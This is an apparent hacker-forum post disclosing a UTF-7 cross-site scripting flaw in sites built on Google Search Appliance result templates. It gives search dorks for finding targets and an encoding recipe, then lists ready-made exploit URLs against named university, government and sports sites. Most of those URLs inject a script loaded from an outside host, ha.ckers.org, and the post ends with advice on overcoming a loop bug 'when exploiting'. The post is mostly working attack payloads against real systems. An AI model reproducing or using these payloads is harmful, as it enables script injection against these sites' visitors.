So i fell asleep last night and didn't finish the encoding script as i assumed i would. But finally finished (pain in the ass to write btw)
The topic is plenty descriptive - it's an XSS in most sites that uses the google search API with it's generic results template. The api allows any encoding method to be used for output, and doesn't sanitize until after the page has been converted. (Google.com uses the same API but it's unaffected because it santizes in UTF8 before converting to the output encoding)
GoogleDorks:
http://www.google.com/search?q=%22powered+by+google+search+appliance%22&btnG=Search&hl=en&lr= http://www.google.com/search?q=inurl%3Axml_no_dtd&btnG=Search&hs=2Zp&hl=en&lr=
Did i confuse you yet? _-_ Just add the parameter oe=UTF-7 to any site using google's search API and the query q=<script>alert("XSS")</script> converted to UTF-7 using http://maluc.sitesled.com/utf7.html .. Which translates to:
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
Don't forget that all + have to be %2B in GET strings
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
Examples:
http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&proxystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://google2.fda.gov/search?oe=UTF-7&lr=&client=FDA&output=xml_no_dtd&proxystylesheet=FDA&getfields=*&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://search.unc.edu/search?btnG=Search&entqr=0&output=xml_no_dtd&sort=date%3AD%3AL%3Ad1&ud=1&ie=UTF-8&client=sph&oe=UTF-7&proxystylesheet=sph&site=sph&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://search.nhl.com/search?site=NHLSearch&client=NHLSearch&output=xml_no_dtd&proxystylesheet=NHLSearch&oe=UTF-7&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://search.mo.gov/search?btnG=Search&site=dnr&output=xml_no_dtd&client=dnr&num=10&proxystylesheet=dnr&oe=UTF-7&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://search.nces.ed.gov/search?output=xml_no_dtd&client=nces&proxystylesheet=nces&site=nces&sitesearch=nces.ed.gov/edfin&oe=UTF-7&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://externalsearch.nist.gov/search?client=default_frontend&site=itl_antd_collection&output=xml_no_dtd&proxystylesheet=default_frontend&ie=UTF8&oe=UTF-7&as_q=asdf%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x
http://gb-server-1.mit.edu/search?client=mithome&site=mit&output=xml_no_dtd&proxystylesheet=mithome&num=15&oe=UTF-7&as_q=%2BADw-SCRIPT%2BAD4-alert(%2BACI-XSS%2BACI-)%2BADw-/SCRIPT%2BAD4-%2BADw-x
You can also sometimes append any parameter like apple=">[Injection] to the search string:
http://externalsearch.nist.gov/search?client=default_frontend&site=itl_antd_collection&output=xml_no_dtd&proxystylesheet=default_frontend&ie=UTF8&oe=UTF-7&as_q=asdf&apple=%2BACI-%2BAD4-%2BADw-SCRIPT%2BAD4-alert(%2BACI-XSS%2BACI-)%2BADw-/SCRIPT%2BAD4-%2BADw-x
One problem though: any site with embedded script like for(i=0;i<10;i++) gets changed to for(i=0;i<10;i ) .. which is an infinite loop. you'll have to overwrite that when exploiting..
-maluc